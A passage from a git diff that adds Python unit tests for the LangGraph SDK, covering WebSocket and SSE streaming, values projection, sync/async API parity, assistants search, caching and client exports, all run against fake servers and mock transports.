second["seq"] == 2 + assert end is None + assert len(sent_urls) == 2 + assert orjson.loads(second_socket.sent[0])["params"]["since"] == 1 + + +async def test_async_close_sends_normal_close_frame(): + """`handle.close()` sends a WebSocket close frame with code 1000 explicitly.""" + import asyncio + + # Use an event to distinguish an explicit close(code=1000) call from + # the implicit one in __aexit__ when the task is cancelled. + explicit_1000: list[bool] = [] + ready_event = asyncio.Event() + + class _TrackingWebSocket(_FakeAsyncWebSocket): + def __aiter__(self) -> AsyncIterator[str]: + return self._wait_forever() + + async def _wait_forever(self) -> AsyncIterator[str]: # type: ignore[override] + ready_event.set() + # Block until cancelled — never yield frames. + await asyncio.sleep(9999) + return + yield # make it an async generator + + async def close( # type: ignore[override] + self, + code: int = 1000, + reason: str = "", # noqa: ARG002 + ) -> None: + explicit_1000.append(code == 1000) + self.closed = True + + socket = _TrackingWebSocket([]) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, thread_id="t-1", connect=connect + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + await asyncio.wait_for(ready_event.wait(), timeout=1.0) + await handle.close() + + # close() must have been called at least once with code=1000. + assert explicit_1000, "ws.close() was never called" + assert explicit_1000[0], "first ws.close() call did not use code=1000" + + +async def test_ws_transport_forwards_ping_kwargs(): + """ping_interval and ping_timeout are stored and forwarded to websockets.connect.""" + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, + thread_id="t-1", + ping_interval=15.0, + ping_timeout=20.0, + ) + assert transport._ping_interval == 15.0 + assert transport._ping_timeout == 20.0 + + +async def test_ws_transport_ping_kwargs_forwarded_to_connect(): + """ping_interval and ping_timeout are passed through to the connect callable.""" + captured_kwargs: list[dict[str, Any]] = [] + socket = _FakeAsyncWebSocket([]) + + def connect( + url: str, + additional_headers: list[tuple[str, str]] | None = None, + **kwargs: Any, + ) -> Any: + _ = (url, additional_headers) + captured_kwargs.append(kwargs) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, + thread_id="t-1", + connect=connect, + ping_interval=15.0, + ping_timeout=20.0, + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + _ = [e async for e in handle.events] + await handle.close() + + assert len(captured_kwargs) == 1 + assert captured_kwargs[0].get("ping_interval") == 15.0 + assert captured_kwargs[0].get("ping_timeout") == 20.0 + + +async def test_ws_handshake_forwards_httpx_client_cookies(): + """Cookies set on the httpx.AsyncClient are forwarded to the WS handshake.""" + captured_headers: list[list[tuple[str, str]]] = [] + socket = _FakeAsyncWebSocket([]) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = url + captured_headers.append(list(additional_headers or [])) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + client.cookies.set("session", "abc123") + client.cookies.set("other", "xyz") + transport = ProtocolWebSocketTransport( + client=client, thread_id="t-1", connect=connect + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + _ = [e async for e in handle.events] + await handle.close() + + assert len(captured_headers) == 1 + headers_dict = dict(captured_headers[0]) + assert "Cookie" in headers_dict + cookie_val = headers_dict["Cookie"] + assert "session=abc123" in cookie_val + assert "other=xyz" in cookie_val + + +async def test_ws_server_initiated_mid_stream_close_surfaces_error(): + """A server that closes mid-stream with code 1011 surfaces ConnectionClosedError on done.""" + socket = _ClosingFakeAsyncWebSocket( + [values_event(seq=1)], + close_exc=ConnectionClosedError(None, Close(1011, "server error")), + ) + + def connect( + url: str, additional_headers: list[tuple[str, str]] | None = None, **_kw: Any + ): + _ = (url, additional_headers) + return socket + + async with httpx.AsyncClient(base_url="http://test") as client: + transport = ProtocolWebSocketTransport( + client=client, thread_id="t-1", connect=connect + ) + handle = transport.open_event_stream({"channels": ["values"]}) + await asyncio.wait_for(handle.ready, timeout=1.0) + received = [e async for e in handle.events] + err = await asyncio.wait_for(handle.done, timeout=1.0) + await handle.close() + + assert received == [values_event(seq=1)] + assert isinstance(err, ConnectionClosedError) diff --git a/libs/sdk-py/tests/streaming/test_values_projection.py b/libs/sdk-py/tests/streaming/test_values_projection.py new file mode 100644 index 0000000..280aac8 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_values_projection.py @@ -0,0 +1,169 @@ +"""Tests for `thread.values` — state-backed values projection.""" + +from __future__ import annotations + +import asyncio + +import httpx + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.threads import ThreadsClient +from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + values_event, +) +from streaming._fake_server import FakeServer + + +async def test_values_subscribes_before_rest_fetch(): + """Values subscription is opened (values channel present in stream body).""" + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + fake.set_state({"x": 1}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + results = [] + async for snapshot in thread.values: + results.append(snapshot) + break # One snapshot is enough to verify subscription was opened. + + # At least one stream request should contain "values" in its channels. + values_channel_seen = any( + "values" in body.get("channels", []) for body in fake.stream_request_bodies + ) + assert values_channel_seen, ( + f"Expected a stream request with 'values' channel, got: " + f"{fake.stream_request_bodies}" + ) + + +async def test_values_first_yield_is_rest_state(): + """First item from `async for snapshot in thread.values` equals REST state values.""" + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + fake.set_state({"foo": "bar", "count": 42}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + first = None + async for snapshot in thread.values: + first = snapshot + break + + assert first == {"foo": "bar", "count": 42} + assert fake.state_request_count >= 1 + + +async def test_values_subsequent_yields_from_stream_events(): + """Items after the first come from live values stream events.""" + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + values_event(seq=1, counter=1), + values_event(seq=2, counter=2), + lifecycle_completed_event(seq=3), + ] + ) + fake.set_state({"counter": 0}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + snapshots = [] + async for snapshot in thread.values: + snapshots.append(snapshot) + + # First snapshot is REST state values. + assert snapshots[0] == {"counter": 0} + # Subsequent snapshots are params.data from values events (full data dict). + assert {"counter": 1} in snapshots + assert {"counter": 2} in snapshots + + +async def test_values_completed_run_terminates(): + """Lifecycle completed causes `async for thread.values` to end cleanly.""" + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + lifecycle_completed_event(seq=1), + ] + ) + fake.set_state({"done": True}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + snapshots = [] + async for snapshot in thread.values: + snapshots.append(snapshot) + + # Should have terminated without hanging; at least the REST snapshot. + assert len(snapshots) >= 1 + assert snapshots[0] == {"done": True} + + +async def test_values_multiple_iterators_allowed(): + """Two concurrent `async for` loops on `thread.values` both yield independently.""" + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + fake.set_state({"shared": True}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + + async def collect_first(): + async for snapshot in thread.values: + return snapshot + + result1, result2 = await asyncio.gather(collect_first(), collect_first()) + + assert result1 == {"shared": True} + assert result2 == {"shared": True} + + +async def test_values_await_delegates_to_output(): + """`await thread.values` returns the same result as `await thread.output`.""" + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + fake.set_state({"result": "terminal"}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + values_result = await thread.values + + assert values_result == {"result": "terminal"} + + +async def test_values_no_historical_retention(): + """First snapshot is current REST state, not a cached/historical value.""" + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + # Set REST state to a specific value that can be verified as the source. + fake.set_state({"current": "state-v1"}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + first = None + async for snapshot in thread.values: + first = snapshot + break + + # First snapshot must be the REST state, not some cached prior value. + assert first == {"current": "state-v1"} + assert fake.state_request_count >= 1 diff --git a/libs/sdk-py/tests/test_api_parity.py b/libs/sdk-py/tests/test_api_parity.py new file mode 100644 index 0000000..b67f8bf --- /dev/null +++ b/libs/sdk-py/tests/test_api_parity.py @@ -0,0 +1,130 @@ +from __future__ import annotations + +import inspect +import re + +import pytest + +from langgraph_sdk.client import ( + AssistantsClient, + CronClient, + RunsClient, + StoreClient, + SyncAssistantsClient, + SyncCronClient, + SyncRunsClient, + SyncStoreClient, + SyncThreadsClient, + ThreadsClient, +) + + +def _public_methods(cls) -> dict[str, object]: + methods: dict[str, object] = {} + # Use the raw class dict to avoid runtime wrappers from plugins/decorators + for name, member in cls.__dict__.items(): + if name.startswith("_"): + continue + if inspect.isfunction(member): + methods[name] = member + return methods + + +def _strip_self(sig: inspect.Signature) -> inspect.Signature: + params = list(sig.parameters.values()) + if params and params[0].name == "self": + params = params[1:] + return sig.replace(parameters=params) + + +def _normalize_return_annotation(ann: object) -> str: + s = str(ann) + s = re.sub(r"\s+", "", s) + s = s.replace("typing.", "").replace("collections.abc.", "") + s = re.sub(r"AsyncGenerator\[([^,\]]+)(?:,[^\]]*)?\]", r"Iterator[\1]", s) + s = re.sub(r"Generator\[([^,\]]+)(?:,[^\]]*)?\]", r"Iterator[\1]", s) + s = re.sub(r"AsyncIterator\[(.+)\]", r"Iterator[\1]", s) + s = re.sub(r"AsyncIterable\[(.+)\]", r"Iterable[\1]", s) + # Normalize Async/Sync class prefixes so AsyncFoo and SyncFoo both compare as Foo. + s = re.sub(r"\bAsync([A-Z])", r"\1", s) + s = re.sub(r"\bSync([A-Z])", r"\1", s) + return s + + +ASYNC_ONLY_METHODS: dict[str, set[str]] = {} + + +@pytest.mark.parametrize( + "async_cls,sync_cls", + [ + (AssistantsClient, SyncAssistantsClient), + (ThreadsClient, SyncThreadsClient), + (RunsClient, SyncRunsClient), + (CronClient, SyncCronClient), + (StoreClient, SyncStoreClient), + ], +) +def test_sync_api_matches_async(async_cls, sync_cls): + async_methods = _public_methods(async_cls) + sync_methods = _public_methods(sync_cls) + + allowlist = ASYNC_ONLY_METHODS.get(async_cls.__name__, set()) + async_method_names = set(async_methods.keys()) - allowlist + + # Method name parity (modulo the async-only allowlist). + assert sync_methods.keys() == async_method_names, ( + f"Method sets differ: async-only={async_method_names - set(sync_methods)}, sync-only={set(sync_methods) - async_method_names}" + ) + + for name in async_method_names: + async_fn = async_methods[name] + sync_fn = sync_methods[name] + + # Use inspect.signature for parameter names (robust across versions) + async_sig = _strip_self(inspect.signature(async_fn)) # type: ignore + sync_sig = _strip_self(inspect.signature(sync_fn)) # type: ignore + + a_names = list(async_sig.parameters.keys()) + s_names = list(sync_sig.parameters.keys()) + + assert set(a_names) == set(s_names), ( + f"Parameter names differ for {async_cls.__name__}.{name}: " + f"async={a_names}, sync={s_names}" + ) + + # Compare default presence and parameter kinds (with some tolerance) + a_params = async_sig.parameters + s_params = sync_sig.parameters + + def kinds_compatible( + akind: inspect._ParameterKind, skind: inspect._ParameterKind + ) -> bool: + if akind == skind: + return True + return { + inspect.Parameter.KEYWORD_ONLY, + inspect.Parameter.POSITIONAL_OR_KEYWORD, + } == {akind, skind} + + for pname in set(a_names) & set(s_names): + apar = a_params[pname] + spar = s_params[pname] + assert kinds_compatible(apar.kind, spar.kind), ( + f"Parameter kind mismatch for {async_cls.__name__}.{name}.{pname}: " + f"async={apar.kind}, sync={spar.kind}" + ) + assert (apar.default is inspect._empty) == ( + spar.default is inspect._empty + ), ( + f"Default presence mismatch for {async_cls.__name__}.{name}.{pname}: " + f"async_has_default={apar.default is not inspect._empty}, " + f"sync_has_default={spar.default is not inspect._empty}" + ) + + # Return annotations must match or be iterator-equivalent + a_ret = _normalize_return_annotation(async_sig.return_annotation) + s_ret = _normalize_return_annotation(sync_sig.return_annotation) + assert a_ret == s_ret, ( + f"Return annotation mismatch for {async_cls.__name__}.{name}: " + f"async={a_ret}, sync={s_ret}" + ) diff --git a/libs/sdk-py/tests/test_assistants_client.py b/libs/sdk-py/tests/test_assistants_client.py new file mode 100644 index 0000000..82238cc --- /dev/null +++ b/libs/sdk-py/tests/test_assistants_client.py @@ -0,0 +1,91 @@ +from __future__ import annotations + +import httpx +import pytest + +from langgraph_sdk.client import ( + AssistantsClient, + HttpClient, + SyncAssistantsClient, + SyncHttpClient, +) + + +def _assistant_payload() -> dict[str, object]: + return { + "assistant_id": "asst_123", + "graph_id": "graph_123", + "config": {"configurable": {"foo": "bar"}}, + "context": {"foo": "bar"}, + "created_at": "2024-01-01T00:00:00Z", + "metadata": {"env": "test"}, + "version": 1, + "name": "My Assistant", + "description": "Example", + "updated_at": "2024-01-02T00:00:00Z", + } + + +@pytest.mark.asyncio +async def test_assistants_search_returns_list_by_default(): + assistant = _assistant_payload() + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/assistants/search" + return httpx.Response(200, json=[assistant]) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + assistants_client = AssistantsClient(http_client) + result = await assistants_client.search(limit=3) + + assert result == [assistant] + + +@pytest.mark.asyncio +async def test_assistants_search_can_return_object_with_pagination_metadata(): + assistant = _assistant_payload() + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/assistants/search" + return httpx.Response( + 200, + headers={"X-Pagination-Next": "42"}, + json=[assistant], + ) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + assistants_client = AssistantsClient(http_client) + result = await assistants_client.search(response_format="object") + + assert result == {"assistants": [assistant], "next": "42"} + + +def test_sync_assistants_search_can_return_object_with_pagination_metadata(): + assistant = _assistant_payload() + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/assistants/search" + return httpx.Response( + 200, + headers={"X-Pagination-Next": "84"}, + json=[assistant], + ) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + assistants_client = SyncAssistantsClient(http_client) + result = assistants_client.search(response_format="object") + + assert result == {"assistants": [assistant], "next": "84"} diff --git a/libs/sdk-py/tests/test_cache.py b/libs/sdk-py/tests/test_cache.py new file mode 100644 index 0000000..1ef2a97 --- /dev/null +++ b/libs/sdk-py/tests/test_cache.py @@ -0,0 +1,69 @@ +from datetime import timedelta +from unittest.mock import AsyncMock + +import pytest + +import langgraph_sdk.cache as cache_module + + +@pytest.mark.asyncio +async def test_swr_proxies_to_server_impl(monkeypatch): + loader = AsyncMock(return_value={"ok": True}) + forwarded = {} + + async def fake_swr(key, inner_loader, *, fresh_for, max_age, model): + forwarded["key"] = key + forwarded["fresh_for"] = fresh_for + forwarded["max_age"] = max_age + forwarded["model"] = model + return await inner_loader() + + monkeypatch.setattr(cache_module, "_api_swr", fake_swr) + + result = await cache_module.swr( + "test-key", + loader, + fresh_for=timedelta(seconds=1), + max_age=timedelta(seconds=10), + ) + + assert result == {"ok": True} + assert forwarded == { + "key": "test-key", + "fresh_for": timedelta(seconds=1), + "max_age": timedelta(seconds=10), + "model": None, + } + loader.assert_awaited_once() + + +@pytest.mark.asyncio +async def test_swr_requires_server_runtime(monkeypatch): + monkeypatch.setattr(cache_module, "_api_swr", None) + + with pytest.raises(RuntimeError, match="Cache is only available server-side"): + await cache_module.swr( + "test-key", + AsyncMock(return_value="unused"), + fresh_for=timedelta(seconds=1), + max_age=timedelta(seconds=10), + ) + + +@pytest.mark.asyncio +async def test_swr_defaults(monkeypatch): + """fresh_for defaults to 0, max_age defaults to 1 day.""" + loader = AsyncMock(return_value="val") + forwarded = {} + + async def fake_swr(_key, inner_loader, *, fresh_for, max_age, model): # noqa: ARG001 + forwarded["fresh_for"] = fresh_for + forwarded["max_age"] = max_age + return await inner_loader() + + monkeypatch.setattr(cache_module, "_api_swr", fake_swr) + + await cache_module.swr("k", loader) + + assert forwarded["fresh_for"] == timedelta(0) + assert forwarded["max_age"] == timedelta(days=1) diff --git a/libs/sdk-py/tests/test_client_exports.py b/libs/sdk-py/tests/test_client_exports.py new file mode 100644 index 0000000..ac45d5a --- /dev/null +++ b/libs/sdk-py/tests/test_client_exports.py @@ -0,0 +1,91 @@ +"""Test that all expected symbols are exported from langgraph_sdk.client. + +This test ensures backwards compatibility during refactoring. +""" + +import httpx + +from langgraph_sdk import get_client as public_get_client +from langgraph_sdk import get_sync_client as public_get_sync_client +from langgraph_sdk.client import ( + AssistantsClient, + CronClient, + HttpClient, + LangGraphClient, + RunsClient, + StoreClient, + SyncAssistantsClient, + SyncCronClient, + SyncHttpClient, + SyncLangGraphClient, + SyncRunsClient, + SyncStoreClient, + SyncThreadsClient, + ThreadsClient, + _adecode_json, + _aencode_json, + _decode_json, + _encode_json, + configure_loopback_transports, + get_client, + get_sync_client, +) + + +def test_client_exports(): + """Verify all expected symbols can be imported from langgraph_sdk.client.""" + # Factory functions (public API) + assert callable(get_client) + assert callable(get_sync_client) + + # Top-level client classes + assert LangGraphClient is not None + assert SyncLangGraphClient is not None + + # HTTP client classes + assert HttpClient is not None + assert SyncHttpClient is not None + + # Resource client classes - Async + assert AssistantsClient is not None + assert ThreadsClient is not None + assert RunsClient is not None + assert CronClient is not None + assert StoreClient is not None + + # Resource client classes - Sync + assert SyncAssistantsClient is not None + assert SyncThreadsClient is not None + assert SyncRunsClient is not None + assert SyncCronClient is not None + assert SyncStoreClient is not None + + # Internal utilities (used by tests) + assert callable(_aencode_json) + assert callable(_adecode_json) + + # Sync JSON utilities (might be used internally) + assert callable(_encode_json) + assert callable(_decode_json) + + # Loopback transport configuration (used by langgraph-api) + assert callable(configure_loopback_transports) + + +def test_public_api_exports(): + """Verify public API exports from langgraph_sdk package.""" + assert callable(public_get_client) + assert callable(public_get_sync_client) + + +def test_client_instantiation(): + """Verify that we can instantiate clients.""" + # Test async client instantiation + async_http = httpx.AsyncClient(base_url="http://test.example.com") + async_client = HttpClient(async_http) + assert async_client is not None + + # Test sync client instantiation + sync_http = httpx.Client(base_url="http://test.example.com") + sync_client = SyncHttpClient(sync_http) + assert sync_client is not None diff --git a/libs/sdk-py/tests/test_client_stream.py b/libs/sdk-py/tests/test_client_stream.py new file mode 100644 index 0000000..d80d299 --- /dev/null +++ b/libs/sdk-py/tests/test_client_stream.py @@ -0,0 +1,467 @@ +from __future__ import annotations + +from collections.abc import Iterator, Sequence +from pathlib import Path +from typing import Any + +import httpx +import pytest +from typing_extensions import assert_type + +from langgraph_sdk._shared.utilities import _sse_to_v2_dict +from langgraph_sdk.client import HttpClient, SyncHttpClient +from langgraph_sdk.schema import ( + CheckpointPayload, + CheckpointsStreamPart, + CustomStreamPart, + DebugPayload, + DebugStreamPart, + MetadataStreamPart, + RunMetadataPayload, + StreamPart, + StreamPartV2, + TaskPayload, + TaskResultPayload, + TasksStreamPart, + UpdatesStreamPart, + ValuesStreamPart, +) +from langgraph_sdk.sse import BytesLike, BytesLineDecoder, SSEDecoder + +with open(Path(__file__).parent / "fixtures" / "response.txt", "rb") as f: + RESPONSE_PAYLOAD = f.read() + + +# --- test helpers --- + + +class AsyncListByteStream(httpx.AsyncByteStream): + def __init__(self, chunks: Sequence[bytes], exc: Exception | None = None) -> None: + self._chunks = list(chunks) + self._exc = exc + + async def __aiter__(self): + for chunk in self._chunks: + yield chunk + if self._exc is not None: + raise self._exc + + async def aclose(self) -> None: + return None + + +class ListByteStream(httpx.ByteStream): + def __init__(self, chunks: Sequence[bytes], exc: Exception | None = None) -> None: + self._chunks = list(chunks) + self._exc = exc + + def __iter__(self): + yield from self._chunks + if self._exc is not None: + raise self._exc + + def close(self) -> None: + return None + + +def iter_lines_raw(payload: list[bytes]) -> Iterator[BytesLike]: + decoder = BytesLineDecoder() + for part in payload: + yield from decoder.decode(part) + yield from decoder.flush() + + +_V2_REQUIRED_KEYS = {"type", "ns", "data"} + + +def _assert_v2_shape(part: Any) -> None: + """Assert a v2 stream part has the required keys and types.""" + assert isinstance(part, dict), f"Expected dict, got {type(part)}" + assert part.keys() >= _V2_REQUIRED_KEYS, ( + f"Missing keys: {_V2_REQUIRED_KEYS - part.keys()}" + ) + assert isinstance(part["type"], str) + assert isinstance(part["ns"], list) + for elem in part["ns"]: + assert isinstance(elem, str) + + +# --- SSE parsing --- + + +def test_stream_sse(): + for groups in ( + [RESPONSE_PAYLOAD], + RESPONSE_PAYLOAD.splitlines(keepends=True), + ): + parts: list[StreamPart] = [] + + decoder = SSEDecoder() + for line in iter_lines_raw(groups): + sse = decoder.decode(line=line.rstrip(b"\n")) # type: ignore + if sse is not None: + parts.append(sse) + if sse := decoder.decode(b""): + parts.append(sse) + + assert decoder.decode(b"") is None + assert len(parts) == 79 + + +# --- HTTP client streaming --- + + +@pytest.mark.asyncio +async def test_http_client_stream_flushes_trailing_event(): + payload = b'event: foo\ndata: {"bar": 1}\n' + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.headers["accept"] == "text/event-stream" + assert request.headers["cache-control"] == "no-store" + return httpx.Response( + 200, + headers={"Content-Type": "text/event-stream"}, + content=payload, + ) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + parts = [part async for part in http_client.stream("/stream", "GET")] + + assert parts == [StreamPart(event="foo", data={"bar": 1})] + + +def test_sync_http_client_stream_flushes_trailing_event(): + payload = b'event: foo\ndata: {"bar": 1}\n' + + def handler(request: httpx.Request) -> httpx.Response: + assert request.headers["accept"] == "text/event-stream" + assert request.headers["cache-control"] == "no-store" + return httpx.Response( + 200, + headers={"Content-Type": "text/event-stream"}, + content=payload, + ) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + parts = list(http_client.stream("/stream", "GET")) + + assert parts == [StreamPart(event="foo", data={"bar": 1})] + + +def test_sync_http_client_stream_recovers_after_disconnect(): + reconnect_path = "/reconnect" + first_chunks = [ + b"id: 1\n", + b"event: values\n", + b'data: {"step": 1}\n\n', + ] + second_chunks = [ + b"id: 2\n", + b"event: values\n", + b'data: {"step": 2}\n\n', + b"event: end\n", + b"data: null\n\n", + ] + call_count = 0 + + def handler(request: httpx.Request) -> httpx.Response: + nonlocal call_count + call_count += 1 + if call_count == 1: + assert request.method == "POST" + assert request.url.path == "/stream" + assert request.headers["accept"] == "text/event-stream" + assert request.headers["cache-control"] == "no-store" + assert "last-event-id" not in { + k.lower(): v for k, v in request.headers.items() + } + assert request.read() + return httpx.Response( + 200, + headers={ + "Content-Type": "text/event-stream", + "Location": reconnect_path, + }, + stream=ListByteStream( + first_chunks, + httpx.RemoteProtocolError("incomplete chunked read"), + ), + ) + if call_count == 2: + assert request.method == "GET" + assert request.url.path == reconnect_path + assert request.headers["Last-Event-ID"] == "1" + assert request.read() == b"" + return httpx.Response( + 200, + headers={"Content-Type": "text/event-stream"}, + stream=ListByteStream(second_chunks), + ) + raise AssertionError("unexpected request") + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + parts = list(http_client.stream("/stream", "POST", json={"payload": "value"})) + + assert call_count == 2 + assert parts == [ + StreamPart(event="values", data={"step": 1}, id="1"), + StreamPart(event="values", data={"step": 2}, id="2"), + StreamPart(event="end", data=None, id="2"), # ty: ignore[invalid-argument-type] + ] + + +@pytest.mark.asyncio +async def test_http_client_stream_recovers_after_disconnect(): + reconnect_path = "/reconnect" + first_chunks = [ + b"id: 1\n", + b"event: values\n", + b'data: {"step": 1}\n\n', + ] + second_chunks = [ + b"id: 2\n", + b"event: values\n", + b'data: {"step": 2}\n\n', + b"event: end\n", + b"data: null\n\n", + ] + call_count = 0 + + async def handler(request: httpx.Request) -> httpx.Response: + nonlocal call_count + call_count += 1 + if call_count == 1: + assert request.method == "POST" + assert request.url.path == "/stream" + assert request.headers["accept"] == "text/event-stream" + assert request.headers["cache-control"] == "no-store" + assert "last-event-id" not in { + k.lower(): v for k, v in request.headers.items() + } + assert await request.aread() + return httpx.Response( + 200, + headers={ + "Content-Type": "text/event-stream", + "Location": reconnect_path, + }, + stream=AsyncListByteStream( + first_chunks, + httpx.RemoteProtocolError("incomplete chunked read"), + ), + ) + if call_count == 2: + assert request.method == "GET" + assert request.url.path == reconnect_path + assert request.headers["Last-Event-ID"] == "1" + assert await request.aread() == b"" + return httpx.Response( + 200, + headers={"Content-Type": "text/event-stream"}, + stream=AsyncListByteStream(second_chunks), + ) + raise AssertionError("unexpected request") + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + parts = [ + part + async for part in http_client.stream( + "/stream", "POST", json={"payload": "value"} + ) + ] + + assert call_count == 2 + assert parts == [ + StreamPart(event="values", data={"step": 1}, id="1"), + StreamPart(event="values", data={"step": 2}, id="2"), + StreamPart(event="end", data=None, id="2"), # ty: ignore[invalid-argument-type] + ] + + +# --- _sse_to_v2_dict conversion --- + + +def test_sse_to_v2_dict_basic() -> None: + result = _sse_to_v2_dict("values", {"messages": [{"role": "user"}]}) + assert result is not None + _assert_v2_shape(result) + assert result == { + "type": "values", + "ns": [], + "data": {"messages": [{"role": "user"}]}, + "interrupts": [], + } + + +def test_sse_to_v2_dict_with_namespace() -> None: + result = _sse_to_v2_dict("updates|sub:abc", {"key": "val"}) + assert result is not None + _assert_v2_shape(result) + assert result == { + "type": "updates", + "ns": ["sub:abc"], + "data": {"key": "val"}, + "interrupts": [], + } + + +def test_sse_to_v2_dict_with_multiple_ns() -> None: + result = _sse_to_v2_dict("custom|parent|child:123", "hello") + assert result is not None + _assert_v2_shape(result) + assert result == { + "type": "custom", + "ns": ["parent", "child:123"], + "data": "hello", + "interrupts": [], + } + + +def test_sse_to_v2_dict_end_event() -> None: + assert _sse_to_v2_dict("end", None) is None + + +def test_sse_to_v2_dict_metadata_event() -> None: + result = _sse_to_v2_dict("metadata", {"run_id": "abc-123"}) + assert result is not None + _assert_v2_shape(result) + assert result == { + "type": "metadata", + "ns": [], + "data": {"run_id": "abc-123"}, + "interrupts": [], + } + + +def test_sse_to_v2_dict_messages_partial() -> None: + result = _sse_to_v2_dict("messages/partial", [{"type": "ai", "content": "hi"}]) + assert result is not None + _assert_v2_shape(result) + assert result == { + "type": "messages/partial", + "ns": [], + "data": [{"type": "ai", "content": "hi"}], + "interrupts": [], + } + + +def test_sse_to_v2_dict_values_with_interrupts() -> None: + data = { + "messages": [{"role": "user"}], + "__interrupt__": [{"value": "confirm?", "resumable": True}], + } + result = _sse_to_v2_dict("values", data) + assert result is not None + _assert_v2_shape(result) + assert result == { + "type": "values", + "ns": [], + "data": {"messages": [{"role": "user"}]}, + "interrupts": [{"value": "confirm?", "resumable": True}], + } + # __interrupt__ should be popped from data + assert "__interrupt__" not in result["data"] + + +# --- client-side v2 stream wrapping --- + + +@pytest.mark.asyncio +async def test_async_stream_v2_client_side_conversion() -> None: + from langgraph_sdk._async.runs import _wrap_stream_v2 + + async def mock_stream() -> Any: + yield StreamPart(event="metadata", data={"run_id": "r1"}) + yield StreamPart( + event="values", data={"messages": [{"role": "user", "content": "hi"}]} + ) + yield StreamPart(event="updates|sub:abc", data={"node": {"out": 1}}) + yield StreamPart(event="end", data=None) # ty: ignore[invalid-argument-type] + + parts: list[StreamPartV2] = [part async for part in _wrap_stream_v2(mock_stream())] + assert len(parts) == 3 + for part in parts: + _assert_v2_shape(part) + assert parts[0] == { + "type": "metadata", + "ns": [], + "data": {"run_id": "r1"}, + "interrupts": [], + } + assert parts[1] == { + "type": "values", + "ns": [], + "data": {"messages": [{"role": "user", "content": "hi"}]}, + "interrupts": [], + } + assert parts[2] == { + "type": "updates", + "ns": ["sub:abc"], + "data": {"node": {"out": 1}}, + "interrupts": [], + } + + +def test_sync_stream_v2_client_side_conversion() -> None: + from langgraph_sdk._sync.runs import _wrap_stream_v2_sync + + def mock_stream() -> Any: + yield StreamPart(event="metadata", data={"run_id": "r1"}) + yield StreamPart(event="values", data={"state": "full"}) + yield StreamPart(event="end", data=None) # ty: ignore[invalid-argument-type] + + parts: list[StreamPartV2] = list(_wrap_stream_v2_sync(mock_stream())) + assert len(parts) == 2 + for part in parts: + _assert_v2_shape(part) + 